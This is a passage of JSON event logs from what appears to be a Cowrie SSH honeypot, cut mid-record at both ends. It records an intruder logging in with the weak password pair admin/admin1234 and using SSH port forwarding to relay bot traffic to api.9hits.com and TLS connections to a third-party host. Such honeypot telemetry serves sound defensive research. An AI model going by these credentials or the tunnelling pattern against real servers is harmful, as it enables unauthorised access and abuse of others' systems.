\\x9cA\\xe4\\x89\\xd9\\xb4\\x14\\xd3\\xbcQAp\\xe64\\x16\\xf8e_\\x8dzu@\\x1dM2(\\xda\\xf47\\xe92T\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x85\\x1dUi\\xc9\\xc9\\xc1\\x94G\\x9d\\x10\\x93'\\x93\\xfa9z\\x8f^\\xf0\\xfd\\xfc$vBt\\xaa\\xcb\\xbd\\xc1 E \\x05N\\x1b!\\x17\\\\5\\xa4{\\xfd\\xab\\xe5\\xe9K\\xc2\\xeb}\\x95\\x8f&\\xe2\\xfd\\xcb\\x1f\\xad\\xc0\\xa7\\x87*D\\xe9\\x12\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9cA\\xe4\\x89\\xd9\\xb4\\x14\\xd3\\xbcQAp\\xe64\\x16\\xf8e_\\x8dzu@\\x1dM2(\\xda\\xf47\\xe92T\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:56.096396Z","src_ip":"23.175.50.47","session":"cfc7b6348c63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:56.147195Z","src_ip":"23.175.50.47","session":"cfc7b6348c63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 9_3_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/89.0.4389.114 Mobile/13G35 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=dG5LUmVGdzIkQW92aT5wNw%3D%3DVkDl3FnfaRCS%2FcrBn%2BsAlT9vBkA1XX5FURV8gTWFLwDmpfAQrzIFX3ONQ%2Belr0RqREqxzmDvWms2ziOYT0htozKI8EApf3quXBzYJY7HsSJ0AXjgTzsTK3rxxNt1RnnQMrwlxZ22rGmvOQB0QkqifA4VHh4f7mw8UV5gO7skQ9qP20H%2FZXm3jgT5Lp1KLOoEA2mqqQIR9vvvJ5dgIUGk1VSzYFvrR%2B5k6QVWCGSv90AkOzhA5etBgfmpNxwSR0sRV7%2ByBks3bCNu4a7VMU3t5gR41ida84KxEM0uxyTWwG7eZ7yLTLWRCs1reVTJXWu%2BKbqQ04vI85NZnzdvRz5yuMtDeK5z8o9rSgCEjT1r%2F82i2f7aER5mllIM3%2BdaK1iT7u1ZM3Jcnx%2FwPB8kCNSdf7z6uWZf7xSvp0zCY3gcBZm1f3dXjW08ztQLg81T%2F32mXh14QaHAXfnll2sc1y2KPoPX%2FLafCwGi2eTmstAJG%2Bis3VAQ0%2BymXPj4RYe7PDKc1%2Bme76qCzw8wZYDEv%2F30cRUR7PohjeKZMJ1MiSl72OaBpElBWC1DdyOzorA7uGHXB7FJqWrF3zcz2n%2BNzxI3Bt%2BpVtUor36C4hodjbuZXbAzPUxIHNEEdGcISckEGUR8sfRGYEdtNAqijAlNuM0qsNuvwumpduGU%2BWWgA5fHVMJwK11Bcj2WVbJEmB5UAOcSeMAWnXs4aCBgr0oUyABO9W3ReGJz0u%2BMBJbW23dGDlfIfsoOc1FfvN7ewFMSmYm%2FK6c%2FrW15D2kBqKFCOuC%2F502tP5pc1WZX2j%2BYq7fYqiq78uQF9cEHmlA4jSdeiLp19zg%2BVE1xxdP8KWindVv%2BYs6GfQb7P7g05lknK6lLNyVzw0RgZPrscZYDYuI3WA1NtL3gNl7R6mfwywI%2BAsYeAEMkSf7SHpgrQ4QgGmjAqgC%2BjoU0nzkgCDAEMpeaIHpJGtFt9qQx4pM34J1%2BD4fQuoN9DojyEcx43wQyxsleQlWVu1NvOInLfrxD%2FzDlvv7ObG3IgtYYeMAbEKYvwukUomHDWxUe%2BJmER89KQDzb5WRv5wBY0Fa605SwMaaf7NCJ'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 9_3_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/89.0.4389.114 Mobile/13G35 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=dG5LUmVGdzIkQW92aT5wNw%3D%3DVkDl3FnfaRCS%2FcrBn%2BsAlT9vBkA1XX5FURV8gTWFLwDmpfAQrzIFX3ONQ%2Belr0RqREqxzmDvWms2ziOYT0htozKI8EApf3quXBzYJY7HsSJ0AXjgTzsTK3rxxNt1RnnQMrwlxZ22rGmvOQB0QkqifA4VHh4f7mw8UV5gO7skQ9qP20H%2FZXm3jgT5Lp1KLOoEA2mqqQIR9vvvJ5dgIUGk1VSzYFvrR%2B5k6QVWCGSv90AkOzhA5etBgfmpNxwSR0sRV7%2ByBks3bCNu4a7VMU3t5gR41ida84KxEM0uxyTWwG7eZ7yLTLWRCs1reVTJXWu%2BKbqQ04vI85NZnzdvRz5yuMtDeK5z8o9rSgCEjT1r%2F82i2f7aER5mllIM3%2BdaK1iT7u1ZM3Jcnx%2FwPB8kCNSdf7z6uWZf7xSvp0zCY3gcBZm1f3dXjW08ztQLg81T%2F32mXh14QaHAXfnll2sc1y2KPoPX%2FLafCwGi2eTmstAJG%2Bis3VAQ0%2BymXPj4RYe7PDKc1%2Bme76qCzw8wZYDEv%2F30cRUR7PohjeKZMJ1MiSl72OaBpElBWC1DdyOzorA7uGHXB7FJqWrF3zcz2n%2BNzxI3Bt%2BpVtUor36C4hodjbuZXbAzPUxIHNEEdGcISckEGUR8sfRGYEdtNAqijAlNuM0qsNuvwumpduGU%2BWWgA5fHVMJwK11Bcj2WVbJEmB5UAOcSeMAWnXs4aCBgr0oUyABO9W3ReGJz0u%2BMBJbW23dGDlfIfsoOc1FfvN7ewFMSmYm%2FK6c%2FrW15D2kBqKFCOuC%2F502tP5pc1WZX2j%2BYq7fYqiq78uQF9cEHmlA4jSdeiLp19zg%2BVE1xxdP8KWindVv%2BYs6GfQb7P7g05lknK6lLNyVzw0RgZPrscZYDYuI3WA1NtL3gNl7R6mfwywI%2BAsYeAEMkSf7SHpgrQ4QgGmjAqgC%2BjoU0nzkgCDAEMpeaIHpJGtFt9qQx4pM34J1%2BD4fQuoN9DojyEcx43wQyxsleQlWVu1NvOInLfrxD%2FzDlvv7ObG3IgtYYeMAbEKYvwukUomHDWxUe%2BJmER89KQDzb5WRv5wBY0Fa605SwMaaf7NCJ'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:56.150536Z","src_ip":"23.175.50.47","session":"cfc7b6348c63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:56.302166Z","session":"cfc7b6348c63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:56.362170Z","src_ip":"23.175.50.47","session":"cfc7b6348c63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03&\\x97\\xb6\\x06\\xee7+\\xff\\xd9\\x07(o\\xc7\\xdaX\\xecL\\x0fn\\x82\\x0e\\xf5\\xf6\\x16 f\\xaf\\x8b`\\xf9I\\xce \\xefoR\\x0c\\xf5q\\'\\xcb\\xd2\\t\\xdcy\\xf4&pS\\xda\\xb9W,L\\x0f\\xfc3\\xa8\\xe9\\x8a\\xd1\\xbb\\x92\\xa6]\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc4\\xc8\\x8b\\xe9\\xff\\x9aT\\xbb\\xa3\\x92\\x94\\x1c\\xc3\\xdb\\xc0\\xc8\\x0f\\xb7$\\xaaq\\xc1\\xdaD\\xba\\x80\\xaf\\xe1sb>8\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03&\\x97\\xb6\\x06\\xee7+\\xff\\xd9\\x07(o\\xc7\\xdaX\\xecL\\x0fn\\x82\\x0e\\xf5\\xf6\\x16 f\\xaf\\x8b`\\xf9I\\xce \\xefoR\\x0c\\xf5q\\'\\xcb\\xd2\\t\\xdcy\\xf4&pS\\xda\\xb9W,L\\x0f\\xfc3\\xa8\\xe9\\x8a\\xd1\\xbb\\x92\\xa6]\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc4\\xc8\\x8b\\xe9\\xff\\x9aT\\xbb\\xa3\\x92\\x94\\x1c\\xc3\\xdb\\xc0\\xc8\\x0f\\xb7$\\xaaq\\xc1\\xdaD\\xba\\x80\\xaf\\xe1sb>8\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:56.364979Z","src_ip":"23.175.50.47","session":"cfc7b6348c63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":61474,"dst_ip":"10.17.0.5","dst_port":22,"session":"50fbd68e87da","protocol":"ssh","message":"New connection: 123.27.168.40:61474 (10.17.0.5:22) [session: 50fbd68e87da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:57.251166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:57.255640Z","src_ip":"123.27.168.40","session":"50fbd68e87da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:57.509626Z","src_ip":"123.27.168.40","session":"50fbd68e87da","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:58.679219Z","src_ip":"123.27.168.40","session":"50fbd68e87da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:59.044707Z","session":"50fbd68e87da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:59.180612Z","session":"50fbd68e87da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.1","message":"Connection lost after 13.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:59.336395Z","src_ip":"23.175.50.47","session":"cfc7b6348c63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:59.592568Z","src_ip":"123.27.168.40","session":"50fbd68e87da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1204\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 5.1; LUA-L21 Build/HUAWEILUA-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 OPR/77.0.4054.90\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NTx%2Bb2hhdDNVbGw1QiF3YQ%3D%3DvgPfcCnWuGL%2Fc%2BKFrVNv7WgZK3JuC1oBiucODwQcaBpi5pHQOPJcLd%2FHzLsUYGrjCboSC48K6hLmfBVk1ws63ilvrThoLr%2Bx3cNY78zcVRLB8HVkIFYpO6yzNaV3KyQk1v38NC7TS0ZpECpb%2FAVNgLFfAjGuclQAn%2BOPa8oBhguGXCzZazNnsyGXPh15nN1KqhIqer2DcYxPxAXP%2BI1KfqBUwFZ0heEdcZX52U76yK03x8AV731daFB9WVYI52sBFyMNBQAECbMikPOrzejHUwhfMCG2%2FkMV5Mj655bLceeBk3ovDu2487%2FvzOoSlETEh1nn%2BEl0p%2BU5gvgPJ2VSoaieL5wQ%2FcWuAcfXYGuZ%2FwC14fHtOtE%2FqBh%2FaybttArSJeQvXZrLzAY3UWbtAobNLvsorSLPEdEfyu0CZ4vBI9qc0P0Rdsx6BQAJK6Vm1IdyyUdAS4Aja9fLq62VYzvxAo%2BnrRN3UdA8nD1GUImrX%2Fwvi71LlcRae6TSBVMltmZDNdMmIhp1lsIIIf2B%2BXSi0NqEDfsQkHzL5NOC6%2FbAP1qmB2jRQrq4VaRniOmrOz1owW2avHDi%2B4ph4p8p5RBuEwERrIAL2bazQ%2FfQ5TvT5MZkzV8aczhO08egrK7g%2Fij1DYZOzAAQesU8mP%2B%2FF%2FffTLUma10nSZEtfbLPh1%2B1Z2Y2AEaDR1Xg0ngp3719iQXVpU39AnJPEyfg5y6igOiGbG9beVtxvYAl3W09jm3rBtzEBCthhcEUjglq%2BV4wFuwrnApJbAxaq6wYnzEAL6goufppcek9X4kiLjlWlyOco%2FMtWm1U1he9zlzAlpUo0V50P51bQrD1w%2B1FelRV%2FgVAFfYbao2R6BDT7VsR3o%2F03kHB%2FowhKvni5YFkUjlSb3pyPa578yF7rsGGBpVugLE3rUgbmvjlrHNSk7N5tJm9NbNLGXd5YuimOAq%2F%2BUVOFtY8mzXZ4P%2FwA3Kg0tus2KcBhAtXSrh37n1Sj8cd7%2FhiRW7%2F3qUxTtadSespxFv2a%2BlrazMMgQAF7igggXd9VIQ6MeJ8c%2FdHgW%2Ft9SwITQ2x6oa3hLnABvQHHksE%2F%2FPq9BJU'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1204\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: 